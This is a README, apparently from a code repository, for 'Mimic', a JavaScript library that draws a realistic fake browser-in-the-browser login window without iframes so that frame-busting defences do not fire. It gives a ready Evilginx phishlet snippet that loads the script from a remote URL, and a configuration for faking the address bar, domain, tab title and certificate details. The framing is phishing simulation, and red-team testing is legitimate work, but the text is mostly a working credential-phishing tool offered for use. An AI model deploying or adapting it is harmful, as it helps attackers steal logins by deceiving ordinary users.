
Безрамочный Browser‑in‑the‑Browser (BitB) — без iframe и проблем с frame‑busting. Библиотека из одного скрипта на Shadow DOM / MutationObserver для реалистичных фишинговых симуляций, легко внедряемая через обратный прокси.
Frameless Browser‑in‑the‑Browser (BitB) — без iframe и проблем с frame-busting. Библиотека из одного скрипта на Shadow DOM / MutationObserver для реалистичных фишинговых симуляций, легко внедряемая через обратный прокси.
⚠️ Предупреждение: Используйте это программное обеспечение только в соответствии с действующим законодательством. Неправомерное использование может повлечь юридические и этические проблемы, которые я не поддерживаю и за которые не несу ответственности.
MalwareMonster и я разработали proof-of-concept в этом направлении примерно семь лет назад, получивший название FISHY. Проект успешно продемонстрировал вектор BitB, хотя удобство использования было заметно ограничено. mrd0x примерно двумя годами позже привлёк к этой концепции более широкое внимание сообщества исследователей безопасности своим проектом BITB. Однако сильная зависимость от iframe оказалась несовместимой с современными методами frame-busting. Хотя можно было использовать подмены для переписывания JavaScript-кода frame-busting, этот подход оказался утомительным и требовал постоянных доработок.
waelmas затем, примерно через 2 года, выпустил frameless-bitb, в котором был реализован особенно остроумный механизм. Заменив iframe на Shadow DOM в паре с MutationObserver, он фактически перенёс фишинговый контент в div внутри основного документа. Важно, что этот контент оставался частью основного DOM, а не находился в изолированном фрейме. Поскольку фишинговая страница сама по-прежнему была основным DOM, процедуры frame-busting вообще не вызывались. Это решило главное техническое препятствие, стало значительным шагом вперёд и обеспечило прочную концептуальную основу для дальнейшего совершенствования.
Этим нововведением waelmas, по сути, передал эстафету обратно нам. Его реализация предполагала более распределённую архитектуру: установку служб, настройку Apache, отдельные HTML-, CSS- и JavaScript-файлы, различные пользовательские интерфейсы и статический выбор операционной системы (Windows или macOS) без динамического определения браузера. Хотя эти элементы были оправданы с учётом характера proof-of-concept, мы поняли, что основную логику Shadow DOM и MutationObserver можно изолировать и внедрить непосредственно в наш существующий обратный прокси Evilginx с помощью одного скрипта. Это позволило нам создать лёгкую JavaScript-библиотеку без зависимостей, которая отображает реалистичный поддельный браузер внутри любой веб-страницы без iframe, сохраняя творческий приём обхода, который изначально разработал waelmas.
Mimic создаёт поверх текущей веб-страницы реалистичный поддельный браузер — с адресной строкой, элементами управления окном, информацией о сайте, данными сертификата, файлами cookie и данными сайта, темами и стилями, зависящими от ОС.
Вместо загрузки целевого сайта внутри iframe Mimic берёт фактический DOM сайта и внедряет его непосредственно в область просмотра поддельного браузера.
Сам поддельный браузер находится внутри открытого Shadow DOM, который изолирует его стили от сайта. Сайт остаётся в light DOM и вставляется в поддельный браузер через:
<slot name="mimic-content"></slot>
Если content не указан, Mimic автоматически захватывает текущую страницу, перемещая существующее содержимое её body во внутреннюю обёртку. Перед внедрением сайта в поддельный браузер он сохраняет важные стили: фон, цвет текста, шрифты, размер шрифта и межстрочный интервал.
Поскольку сайт перемещается в поддельный браузер, а не встраивается в другой контекст просмотра, он остаётся реальной страницей верхнего уровня.
Это означает, что традиционные проверки frame-busting на основе iframe, такие как:
if (top !== self) {
top.location = self.location;
}
не срабатывают, потому что:
top === self
Сайт по-прежнему считает, что работает как страница верхнего уровня. Его существующий JavaScript, события, хранилище, навигация и логика приложения продолжают работать в обычном режиме, пока страница визуально находится внутри поддельного браузера.
Mimic также автоматически масштабирует внедрённый сайт, чтобы он помещался в область просмотра поддельного браузера. Прокрутка обрабатывается смещением слоя контента, а обработчики изменения размера и MutationObserver заново измеряют контент по мере загрузки или изменения сайта.
Вкладкой реального браузера также можно управлять с помощью documentTitle и documentFavicon. Mimic отслеживает оба значения и восстанавливает их, если сайт пытается их изменить.
Mimic — это визуальная инкапсуляция, а не песочница для JavaScript. Внедрённый сайт сохраняет доступ к реальным
window,document, хранилищу, истории и навигационным API.
Добавьте это в YAML вашего фишлета, чтобы внедрить Mimic:
script: |
// Inject the BitB script
(function () {
window.addEventListener('load', () => {
var s = document.createElement('script');
s.src = 'https://0x4meliorate.github.io/Mimic/mimic.js';
s.onload = function () {
openBrowserWindow({ debug: false });
};
document.body.appendChild(s);
});
})();
Конфигурацию можно изменить непосредственно в CONFIG внутри mimic.js либо передать в качестве аргументов при вызове функции (openBrowserWindow):
openBrowserWindow({
// Displayed URL
domain: 'example.com',
addressText: '/login',
scheme: 'https://',
// Fake browser
pageTitle: 'Example - Sign in',
favicon: 'https://example.com/favicon.ico',
// Real browser tab
documentTitle: 'Example App',
documentFavicon: 'https://example.com/app.ico',
// Content
// HTMLElement, CSS selector, HTML string, or function
// Leave empty to capture the current website automatically
content: '',
contentWidth: 0,
// Fake browser size
windowWidth: 'min(800px, 95vw)',
windowHeight: 'min(650px, 90vh)',
// Browser-style links
learnMoreUrl: 'https://example.com/security',
siteSettingsUrl: 'https://example.com/settings',
// Cookie summary
cookies: {
sitesAllowed: '5 sites allowed'
},
// Behaviour
autoOpen: false,
os: null, // null (auto) | 'mac' | 'windows' | 'linux'
theme: 'auto', // 'auto' | 'light' | 'dark'
debug: false,
onClose: null,
// Landing page
landing: true, // true | false | custom HTML string
enterSelector: '#landingpage-enter-btn',
// On-device site data
siteData: {
intro: 'Sites may save activity to your device.',
manageLinkText: 'Manage site data',
manageUrl: '',
sections: [
{
title: "Data from the site that you're visiting",
description: 'Information stored by this site.',
sites: [
{ name: 'example.com' },
{
name: 'cdn.example.com',
subtitle: 'Additional site information'
}
]
}
]
},
// Certificate viewer
certificate: {
subject: {
commonName: 'example.com',
organisation: 'Example Corporation',
organisationalUnit: '<Not part of certificate>'
},
issuer: {
commonName: 'Example TLS CA',
organisation: 'Example Certificate Authority',
organisationalUnit: '<Not part of certificate>'
},
validity: {
issuedOn: '10 August 2026',
expiresOn: '18 November 2026'
},
fingerprints: {
certificate: '...',
publicKey: '...'
},
hierarchy: {
name: 'Example Root CA',
children: [
{
name: 'Example Intermediate CA'
}
]
},
fields: {
name: 'example.com',
children: [
{
name: 'Certificate',
children: [
{ name: 'Version', value: 'V3' },
{ name: 'Serial Number', value: '...' },
{ name: 'Subject', value: 'CN = example.com' }
]
}
]
}
}
});
Захват и внедрение текущего сайта:
openBrowserWindow();
Открытие без промежуточной страницы:
openBrowserWindow({
landing: false
});
Автоматическое открытие окна поддельного браузера:
openBrowserWindow({
autoOpen: true
});
Включение отладки (переключение ОС и темы):
openBrowserWindow({
debug: true
});
Ручное изменение внешнего вида:
openBrowserWindow({
os: 'windows',
theme: 'dark'
});
Задание содержимого окна поддельного браузера (элемент, селектор, HTML-строка или функция для внедрения в поддельный браузер):
openBrowserWindow({
content: '#page-content'
});
| Параметр | Описание |
|---|
domain | Домен, отображаемый в адресной строке поддельного браузера |
addressText | Путь и запрос, отображаемые после домена |
scheme | Отображаемая схема URL |
pageTitle | Заголовок окна поддельного браузера |
favicon | Фавикон поддельного браузера |
documentTitle | Заголовок вкладки реального браузера |
documentFavicon | Фавикон вкладки реального браузера |
content | Элемент, селектор, HTML-строка или функция для внедрения в поддельный браузер |
contentWidth | Базовая ширина, используемая при масштабировании внедрённого сайта |
windowWidth | Ширина поддельного браузера |
windowHeight | Высота поддельного браузера |
learnMoreUrl | Назначение ссылки «Узнать больше» в разделе безопасности |
siteSettingsUrl | Назначение ссылки «Настройки сайта» |
cookies | Конфигурация сводки по файлам cookie |
autoOpen | Автоматически открывает поддельный браузер при создании промежуточной страницы |
os | null, mac, windows или linux; значение null — автоопределение |
theme | auto, light или dark |
debug | Отображает переключатель ОС и темы |
onClose | Функция, вызываемая при закрытии поддельного браузера |
landing | Включает, отключает или заменяет промежуточную страницу |
enterSelector | Селектор элемента промежуточной страницы, открывающего поддельный браузер |
siteData | Настраивает диалог данных сайта на устройстве |
certificate | Настраивает просмотр сертификата |